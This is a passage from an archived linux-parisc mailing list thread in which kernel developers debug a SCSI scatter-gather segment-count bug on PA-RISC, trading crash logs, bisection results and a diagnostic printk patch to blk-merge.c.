> [   45.980000] __blk_segment_map_sg: length = 4096, nbytes = 4096,
> sum = 8192 > 65536
> [   45.980000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
> BIOVEC_SEG_BOUNDARY = 1
> [   45.980000] NEW SEGMENT sg = 00000000bbe991e8!!!
> [   45.980000] __blk_segment_map_sg: length = 4096, nbytes = 4096,
> sum = 8192 > 65536
> [   45.980000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
> BIOVEC_SEG_BOUNDARY = 1
> [   45.980000] NEW SEGMENT sg = 00000000bbe991e8!!!
> [   45.980000] __blk_segment_map_sg: length = 4096, nbytes = 4096,
> sum = 8192 > 65536
> [   45.980000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
> BIOVEC_SEG_BOUNDARY = 1
> [   45.980000] NEW SEGMENT sg = 00000000bbe991e8!!!
> [   45.980000] __blk_segment_map_sg: length = 4096, nbytes = 4096,
> sum = 8192 > 65536
> [   45.980000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
> BIOVEC_SEG_BOUNDARY = 1
> [   45.980000] NEW SEGMENT sg = 00000000bbe991e8!!!
> [   45.980000] __blk_segment_map_sg: length = 4096, nbytes = 4096,
> sum = 8192 > 65536
> [   45.980000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
> BIOVEC_SEG_BOUNDARY = 1
> [   45.980000] NEW SEGMENT sg = 00000000bbe991e8!!!
> [   45.980000] __blk_segment_map_sg: length = 4096, nbytes = 4096,
> sum = 8192 > 65536
> [   45.980000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
> BIOVEC_SEG_BOUNDARY = 1
> [   45.980000] *** FIXIT *** HELGE: nsegs > rq->nr_phys_segments = 11
> > 10
> [   45.980000] scsi_init_sgtable: count = 11, nents = 10
> 
> ^^ here
> 
> [   45.980000] timer_interrupt(CPU 0): delayed! cycles 73C0F821 rem
> 1E1DDF  next/now 1D78B3071C/1D7894E93D
> [   48.684000] ------------[ cut here ]------------
> [   48.740000] WARNING: at /build/linux-4.4/linux
> -4.4.2/drivers/scsi/scsi_lib.c:1104
> [   48.828000] Modules linked in: sd_mod ohci_pci ehci_pci ohci_hcd
> ehci_hcd sym53c8xx scsi_transport_spi usbcore scsi_mod usb_common
> tulip
> [   48.976000] CPU: 0 PID: 66 Comm: systemd-udevd Not tainted 4.4.0-1
> -parisc64-smp #5 Debian 4.4.2-2
> [   49.084000] task: 00000000bbe97538 ti: 00000000bbe98000 task.ti:
> 00000000bbe98000
> 
>  
> > My theory, based on what Helge produced is that this commit is
> > building
> > a large transfer list > 65535 and then splitting it wrongly.  
> 
> Yes, this theory sounds right.
> 
> > I think
> > the problem is that it's not respecting the DMA boundary, so Helge
> > sees
> > a transfer size of 69632 which I think slops over on both sides,
> > requiring 3 segments to describe.  However, the merge code thinks
> > we
> > only need two (because the length is < 2*65536).  The reason we
> > only
> > see this with ATA drivers is because virtually no SCSI drivers set
> > the
> > DMA boundary.  Most ATA drivers require a dma boundary of 65535.
> 
> In my test above there is no ATA driver included, only SCSI discs.

Heh, well, it's a combination of problems.  Apparently in parisc we
don't set the max segment size, so we inherit 64k even in SCSI drivers.

That said, I still can't reproduce this, so you're going to have to
help me find it.  Current theory is ll_merge_request_fn() it looks like
there's scope for miscalculation in there.  Can you instrument this
line

	/* Merge is OK... */
	req->nr_phys_segments = total_phys_segments;

To add just before the return

if (req->nr_phys_segments != __blk_recalc_rq_segments(rq->q, rq->bio,	false) 
	printk("MISMATCH IN MERGE: got %d, should get %d\n", 
		req->nr_phys_segments,
		__blk_recalc_rq_segments(rq->q, rq->bio, false));

Thanks,

James

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: SCSI bug
Date: Sun, 21 Feb 2016 15:42:36 -0500
Lines: 35
Approved: news@gmane.org
Message-ID: <249A5FDD-5668-4B8B-9ED0-C7C26EBC3AE6@bell.net>
References: <28D5FC66-A9E6-4F3E-A8AC-F9E68A6BC543@bell.net> <82D4BF6F-05CF-4441-9530-79475BFF84F3@bell.net> <E2C8DBC2-F0AD-4C78-BD63-9C85B387E284@bell.net> <56C8E1AC.3030409@gmx.de> <038473FE-9E6D-4F03-BBD4-9844B7B529E1@bell.net> <9C42B388-96D5-412A-BAC3-14E93415CA21@bell.net> <1456026424.2268.5.camel@HansenPartnership.com> <14EF1F4E-8045-4990-B29E-D489E82B1929@bell.net> <1456078381.2340.5.camel@HansenPartnership.com> <D14AFC12-8245-4862-9FFA-92A4F114FC41@bell.net> <1456081676.2340.10.camel@HansenPartnership.com> <56CA11D2.3020900@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1456087366 1659 80.91.229.3 (21 Feb 2016 20:42:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 21 Feb 2016 20:42:46 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc List <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 21 21:42:39 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aXapy-0002ZE-Po
	for glpp-linux-parisc@plane.gmane.org; Sun, 21 Feb 2016 21:42:39 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751802AbcBUUmi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Feb 2016 15:42:38 -0500
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:43393 "EHLO
	mtlfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1751285AbcBUUmi convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Feb 2016 15:42:38 -0500
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20160221204236.LLRV15276.mtlfep02.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 21 Feb 2016 15:42:36 -0500
Original-Received: from [192.168.2.10] (really [70.54.51.120]) by mtlspm02.bell.net
          with ESMTP
          id <20160221204236.UHVD21522.mtlspm02.bell.net@[192.168.2.10]>;
          Sun, 21 Feb 2016 15:42:36 -0500
In-Reply-To: <56CA11D2.3020900@gmx.de>
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020203.56CA213C.00D0,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26481
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26481>

On 2016-02-21, at 2:36 PM, Helge Deller wrote:

> On 21.02.2016 20:07, James Bottomley wrote:
>> On Sun, 2016-02-21 at 13:43 -0500, John David Anglin wrote:
>>> I verified that commit 54efd50bfd873e2dbf784e0b21a8027ba4299a3e in
>>> linux-block fails to
>>> boot and commit 41609892701e26724b8617201f43254cadf2e7ae (blk-cgroup:
>>> Drop unlikely
>>> before IS_ERR(_OR_NULL)) does boot successfully.  Commit
>>> 41609892701e26724b8617201f43254cadf2e7ae
>>> is previous commit in tree.
>>> 
>>> I don't believe that the change can be reverted from Linus' tree as
>>> this commit allowed other
>>> stuff to be removed (see second paragraph of commit description).
>> 
>> OK, can you just verify you can boot 4.5-rc5 without the sata_sil24
>> driver?
> 
> I tried it on my c3000, debian kernel 4.4.2, in this case without the pata_ns87415.

Removing the sata_sil24 driver didn't help.  Problem still occurs with just scsi drivers.  All
remaining ata drivers were builtin.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: SCSI bug
Date: Sun, 21 Feb 2016 16:09:19 -0500
Lines: 50
Approved: news@gmane.org
Message-ID: <28582474-5AB3-4022-86FE-E823F5990623@bell.net>
References: <28D5FC66-A9E6-4F3E-A8AC-F9E68A6BC543@bell.net> <82D4BF6F-05CF-4441-9530-79475BFF84F3@bell.net> <E2C8DBC2-F0AD-4C78-BD63-9C85B387E284@bell.net> <56C8E1AC.3030409@gmx.de> <038473FE-9E6D-4F03-BBD4-9844B7B529E1@bell.net> <9C42B388-96D5-412A-BAC3-14E93415CA21@bell.net> <1456026424.2268.5.camel@HansenPartnership.com> <14EF1F4E-8045-4990-B29E-D489E82B1929@bell.net> <1456078381.2340.5.camel@HansenPartnership.com> <D14AFC12-8245-4862-9FFA-92A4F114FC41@bell.net> <1456081676.2340.10.camel@HansenPartnership.com> <56CA11D2.3020900@gmx.de> <1456086490.2340.18.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1456088978 24921 80.91.229.3 (21 Feb 2016 21:09:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 21 Feb 2016 21:09:38 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	linux-parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 21 22:09:23 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aXbFq-0002EX-FN
	for glpp-linux-parisc@plane.gmane.org; Sun, 21 Feb 2016 22:09:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752227AbcBUVJV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Feb 2016 16:09:21 -0500
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:10442 "EHLO
	mtlfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1751819AbcBUVJV convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Feb 2016 16:09:21 -0500
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20160221210919.REVX19982.mtlfep01.bell.net@mtlspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 21 Feb 2016 16:09:19 -0500
Original-Received: from [192.168.2.10] (really [70.54.51.120]) by mtlspm01.bell.net
          with ESMTP
          id <20160221210919.VXBM25255.mtlspm01.bell.net@[192.168.2.10]>;
          Sun, 21 Feb 2016 16:09:19 -0500
In-Reply-To: <1456086490.2340.18.camel@HansenPartnership.com>
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020206.56CA277F.00D0,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26482
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26482>

On 2016-02-21, at 3:28 PM, James Bottomley wrote:

> That said, I still can't reproduce this, so you're going to have to
> help me find it.  Current theory is ll_merge_request_fn() it looks like
> there's scope for miscalculation in there.  Can you instrument this
> line
> 
> 	/* Merge is OK... */
> 	req->nr_phys_segments = total_phys_segments;
> 
> To add just before the return
> 
> if (req->nr_phys_segments != __blk_recalc_rq_segments(rq->q, rq->bio,	false) 
> 	printk("MISMATCH IN MERGE: got %d, should get %d\n", 
> 		req->nr_phys_segments,
> 		__blk_recalc_rq_segments(rq->q, rq->bio, false));

This didn't trigger.  There were some typos:

diff --git a/block/blk-merge.c b/block/blk-merge.c
index d9c3a75..e8969ef 100644
--- a/block/blk-merge.c
+++ b/block/blk-merge.c
@@ -545,6 +545,12 @@ static int ll_merge_requests_fn(struct request_queue *q, struct request *req,
 
        /* Merge is OK... */
        req->nr_phys_segments = total_phys_segments;
+
+if (req->nr_phys_segments != __blk_recalc_rq_segments(req->q, req->bio,        false)) 
+       printk("MISMATCH IN MERGE: got %d, should get %d\n", 
+               req->nr_phys_segments,
+               __blk_recalc_rq_segments(req->q, req->bio, false));
+
        return 1;
 }
 

Any more ideas?

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: SCSI bug
Date: Sun, 21 Feb 2016 22:17:54 +0100
Lines: 107
Approved: news@gmane.org
Message-ID: <56CA2982.1030607@gmx.de>
References: <28D5FC66-A9E6-4F3E-A8AC-F9E68A6BC543@bell.net>
 <82D4BF6F-05CF-4441-9530-79475BFF84F3@bell.net>
 <E2C8DBC2-F0AD-4C78-BD63-9C85B387E284@bell.net> <56C8E1AC.3030409@gmx.de>
 <038473FE-9E6D-4F03-BBD4-9844B7B529E1@bell.net>
 <9C42B388-96D5-412A-BAC3-14E93415CA21@bell.net>
 <1456026424.2268.5.camel@HansenPartnership.com>
 <14EF1F4E-8045-4990-B29E-D489E82B1929@bell.net>
 <1456078381.2340.5.camel@HansenPartnership.com>
 <D14AFC12-8245-4862-9FFA-92A4F114FC41@bell.net>
 <1456081676.2340.10.camel@HansenPartnership.com> <56CA11D2.3020900@gmx.de>
 <1456086490.2340.18.camel@HansenPartnership.com>
 <28582474-5AB3-4022-86FE-E823F5990623@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1456089495 385 80.91.229.3 (21 Feb 2016 21:18:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 21 Feb 2016 21:18:15 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 21 22:18:08 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aXbOI-0001m0-VB
	for glpp-linux-parisc@plane.gmane.org; Sun, 21 Feb 2016 22:18:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752123AbcBUVSF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Feb 2016 16:18:05 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:58820 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751373AbcBUVSE (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Feb 2016 16:18:04 -0500
Original-Received: from [192.168.20.60] ([92.203.24.221]) by mail.gmx.com (mrgmx001)
 with ESMTPSA (Nemesis) id 0MTjqS-1aOpym34xU-00QWGu; Sun, 21 Feb 2016 22:17:56
 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <28582474-5AB3-4022-86FE-E823F5990623@bell.net>
X-Provags-ID: V03:K0:j7NAQVXHq39VNXEu3iAruIvFtse55e4X/t3DWW2fJcP0Va2FiSh
 wOT32Nx3BlxHsWHM9vsHHHEJht+xiQSzqvSz0ZzOs0o04aXKSdhCbNTDWVgb2PUY4XyefbN
 LMgUO/BPPdUw9jS+udRCVYNuzpL+KPIwmnjoh2UUa6CuTDKrkpBU9RZ67v8XEq9KAxywHir
 o4JheSBZmIBLEOnQo/lfw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:QJInZQ8VOHg=:LLrqRML7vijwyP+OgeF+dY
 qG4e+vIoorvdjUOsAz+FNAtn8hNwtmFNUGj8skB4GMp2DPVK0jZPlGQtcX1oKxW+Pm/SNVsdC
 FJiFLLcKbUJg5GM0xYy8OG/ZTFmo3mDAbvkFe7peaFc/X/yOCsZEkRW3QMGWI6IGstSJXVWP1
 9i+Ne6rQYDEXNqZMzCXQC2PaR6CZKr3dp44/xcQ2figdN8nkSrQHrleCH/wMrzL2QNwzEpCM0
 N/Yan35Ncy3CC6+xD5nPdWf+aC0RmtLlhxJXEWZtaecREsaIj6bIQlYQ5QIG6WUIXcxHWAcbr
 AIRPI/nmWdiqMMI0MyuYofMzmpem0ghUwvnBBuzDhFyroY10uKnbTS26M9aZiysG2y1Y1Wq/J
 3ylwi9ryIfy0vw1oDSEFRdh3XrMyAw3hdsCjoUDAOoBlLE6DJ5uZ5Ke95Eq0ZVAK9hqn5u1mQ
 wZi6NT4+gCpVkCgYeQxvyegabq9sJjTxX5LOU34v1YAD6liAeBestzWGF8zBchAMh2hAH4R7c
 KWJjGwH+zeVkJFEps7dYCJ0xYr9xoLtlLbvb592Mupc3Sa8b5P1Y85eo5f5LceXJnuHDxp2t4
 H3waJnGy/NdT+ysOMugtuqR4/wp5GcgDBNzuqZ+m7R3zpyPDbNKDcqvvIEUhVUOVPHl9/UEw6
 38zHqVgxpN80qsKfnu+GFtkXkyhBKXLm0ugpjJr8SlzAzCtoK3XdAle9IJjmkwlyoh6tHcIEK
 nYMGzoV7XHJnWYPuDD2exYMpo4tRf/O6PDg1CkdnmgL6GEKmIJxbm3Dy0/YeENvPv8ljzwRZ 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26483
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26483>

On 21.02.2016 22:09, John David Anglin wrote:
> On 2016-02-21, at 3:28 PM, James Bottomley wrote:
> 
>> That said, I still can't reproduce this, so you're going to have to
>> help me find it.  Current theory is ll_merge_request_fn() it looks like
>> there's scope for miscalculation in there.  Can you instrument this
>> line
>>
>> 	/* Merge is OK... */
>> 	req->nr_phys_segments = total_phys_segments;
>>
>> To add just before the return
>>
>> if (req->nr_phys_segments != __blk_recalc_rq_segments(rq->q, rq->bio,	false) 
>> 	printk("MISMATCH IN MERGE: got %d, should get %d\n", 
>> 		req->nr_phys_segments,
>> 		__blk_recalc_rq_segments(rq->q, rq->bio, false));
> 
> This didn't trigger.  There were some typos:

It didn't trigger for me either.

 
> diff --git a/block/blk-merge.c b/block/blk-merge.c
> index d9c3a75..e8969ef 100644
> --- a/block/blk-merge.c
> +++ b/block/blk-merge.c
> @@ -545,6 +545,12 @@ static int ll_merge_requests_fn(struct request_queue *q, struct request *req,
>  
>         /* Merge is OK... */
>         req->nr_phys_segments = total_phys_segments;
> +
> +if (req->nr_phys_segments != __blk_recalc_rq_segments(req->q, req->bio,        false)) 
> +       printk("MISMATCH IN MERGE: got %d, should get %d\n", 
> +               req->nr_phys_segments,
> +               __blk_recalc_rq_segments(req->q, req->bio, false));
> +
>         return 1;
>  }

Interestingly it now triggered somewhere else...
I enabled CONFIG_DEBUG_SG, which I had enabled the last few times as well, but it now happened
for the first time:

[   49.848000] scsi_init_sgtable: nr_phys_segments = 4
[   49.848000] NEW SEGMENT sg = 00000000bbdd5008!!!
[   49.848000] __blk_segment_map_sg: length = 65536, nbytes = 4096, sum = 69632 > 65536
[   49.848000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 1, BIOVEC_SEG_BOUNDARY = 1
[   49.848000] NEW SEGMENT sg = 00000000bbdd5008!!!
[   49.848000] __blk_segment_map_sg: length = 8192, nbytes = 4096, sum = 12288 > 65536
[   49.848000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
[   49.848000] NEW SEGMENT sg = 00000000bbdd5008!!!
[   49.848000] __blk_segment_map_sg: length = 20480, nbytes = 4096, sum = 24576 > 65536
[   49.848000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
[   49.848000] NEW SEGMENT sg = 00000000bbdd5008!!!
[   49.848000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
[   49.848000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
[   49.848000] timer_interrupt(CPU 0): delayed! cycles 2D6DC985 rem 2B2FBB  next/now 19218A269E/19215EF6E3
[   50.980000] ------------[ cut here ]------------
[   51.036000] kernel BUG at /build/linux-4.4/linux-4.4.2/include/linux/scatterlist.h:92!
[   51.128000] CPU: 0 PID: 62 Comm: systemd-udevd Not tainted 4.4.0-1-parisc64-smp #6 Debian 4.4.2-2
[   51.236000] task: 00000000bbd49508 ti: 00000000bbdd4000 task.ti: 00000000bbdd4000
[   51.324000] 
[   51.344000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[   51.400000] PSW: 00001000000001001111110100001110 Not tainted
[   51.468000] r00-03  000000ff0804fd0e 00000000bbdd5000 00000000404f23f8 00000000bbdd5000
[   51.564000] r04-07  00000000409b3b10 0000000000006000 0000000000001000 0000000000000180
[   51.660000] r08-11  0000000000000000 00000000bfdab0f0 0000000000000018 0000000000000000
[   51.756000] r12-15  0000000000000004 00000000bbe22e00 000000007faf3188 0000000000000000
[   51.852000] r16-19  0000000042004140 0000000000001000 0000000000000001 0000000087654321
[   51.948000] r20-23  000000020000c18c ffffffff87654000 00000000000002a9 00000000000002ee
[   52.044000] r24-27  0000000000000000 ffffffff87654000 00000000bbe22e80 00000000409b3b10
[   52.140000] r28-31  00000000bbe22e80 00000000bbdd5140 00000000bbdd5170 0000c18c0000c18c
[   52.236000] sr00-03  0000000000013800 0000000000000000 0000000000000000 0000000000011800
[   52.332000] sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
[   52.428000] 
[   52.448000] IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000404f2664 00000000404f2668
[   52.548000]  IIR: 03ffe01f    ISR: 0000000000000000  IOR: 000000000000005c
[   52.628000]  CPU:        0   CR30: 00000000bbdd4000 CR31: 00000000d20345e0
[   52.712000]  ORIG_R28: 0000000040b60718
[   52.756000]  IAOQ[0]: blk_rq_map_sg+0x6bc/0x7d0
[   52.812000]  IAOQ[1]: blk_rq_map_sg+0x6c0/0x7d0
[   52.864000]  RP(r2): blk_rq_map_sg+0x450/0x7d0
[   52.920000] Backtrace:
[   52.948000]  [<00000000003f5ebc>] scsi_init_sgtable+0x94/0x1b0 [scsi_mod]
[   53.028000]  [<00000000003f6044>] scsi_init_io+0x6c/0x258 [scsi_mod]
[   53.104000]  [<000000000080e078>] sd_init_command+0x70/0xec8 [sd_mod]
[   53.180000] scsi_init_sgtable: nr_phys_segments = 1
[   53.180000] scsi_init_sgtable: count = 1, nents = 1
[   53.300000] 
[   53.316000] CPU: 0 PID: 62 Comm: systemd-udevd Not tainted 4.4.0-1-parisc64-smp #6 Debian 4.4.2-2
[   53.424000] Backtrace:
[   53.452000]  [<0000000040215bd8>] show_stack+0x20/0x38
[   53.512000]  [<0000000040520a24>] dump_stack+0x9c/0x110
[   53.576000]  [<0000000040215dac>] die_if_kernel+0x19c/0x2e0
[   53.640000]  [<0000000040216c88>] handle_interruption+0x9a8/0x9d0
[   53.716000] 
[   53.732000] ---[ end trace 596bfe57ff9ccda5 ]---
[   53.788000] scsi_init_sgtable: nr_phys_segments = 1
[   53.788000] scsi_init_sgtable: count = 1, nents = 1

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: SCSI bug
Date: Sun, 21 Feb 2016 13:49:39 -0800
Lines: 67
Approved: news@gmane.org
Message-ID: <1456091379.2340.22.camel@HansenPartnership.com>
References: <28D5FC66-A9E6-4F3E-A8AC-F9E68A6BC543@bell.net>
	 <82D4BF6F-05CF-4441-9530-79475BFF84F3@bell.net>
	 <E2C8DBC2-F0AD-4C78-BD63-9C85B387E284@bell.net> <56C8E1AC.3030409@gmx.de>
	 <038473FE-9E6D-4F03-BBD4-9844B7B529E1@bell.net>
	 <9C42B388-96D5-412A-BAC3-14E93415CA21@bell.net>
	 <1456026424.2268.5.camel@HansenPartnership.com>
	 <14EF1F4E-8045-4990-B29E-D489E82B1929@bell.net>
	 <1456078381.2340.5.camel@HansenPartnership.com>
	 <D14AFC12-8245-4862-9FFA-92A4F114FC41@bell.net>
	 <1456081676.2340.10.camel@HansenPartnership.com> <56CA11D2.3020900@gmx.de>
	 <1456086490.2340.18.camel@HansenPartnership.com>
	 <28582474-5AB3-4022-86FE-E823F5990623@bell.net> <56CA2982.1030607@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1456091393 29049 80.91.229.3 (21 Feb 2016 21:49:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 21 Feb 2016 21:49:53 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 21 22:49:45 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aXbst-0003uE-Qa
	for glpp-linux-parisc@plane.gmane.org; Sun, 21 Feb 2016 22:49:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752289AbcBUVtn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Feb 2016 16:49:43 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:35818 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752290AbcBUVtm (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Feb 2016 16:49:42 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id BCECE8EE171;
	Sun, 21 Feb 2016 13:49:41 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=20151216; t=1456091381;
	bh=z3Okq1CMOdIVuhMYiK+5iry6Exj7j9Qq6HVrmufHs8c=;
	h=Subject:From:To:Cc:Date:In-Reply-To:References:From;
	b=EZ1cPBH/79v1seW2vZHtwsOG3BeuDBFg/nI1aq3mGAA6hM0O04zQqh5yM1J1znaX8
	 cMHYK9pCD/1806D0+hOIf7oh/QM8qAoGXECHqAiVhxMdao4w8rrROdxOi11CD0cX8l
	 991w5QTdCus71etiKhxZeTxr0V3dxqErMOqkudEc=
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id VuwMx7JFMeo3; Sun, 21 Feb 2016 13:49:41 -0800 (PST)
Original-Received: from [153.66.254.194] (unknown [184.11.141.41])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 55BDD8EE0E3;
	Sun, 21 Feb 2016 13:49:41 -0800 (PST)
In-Reply-To: <56CA2982.1030607@gmx.de>
X-Mailer: Evolution 3.16.5 
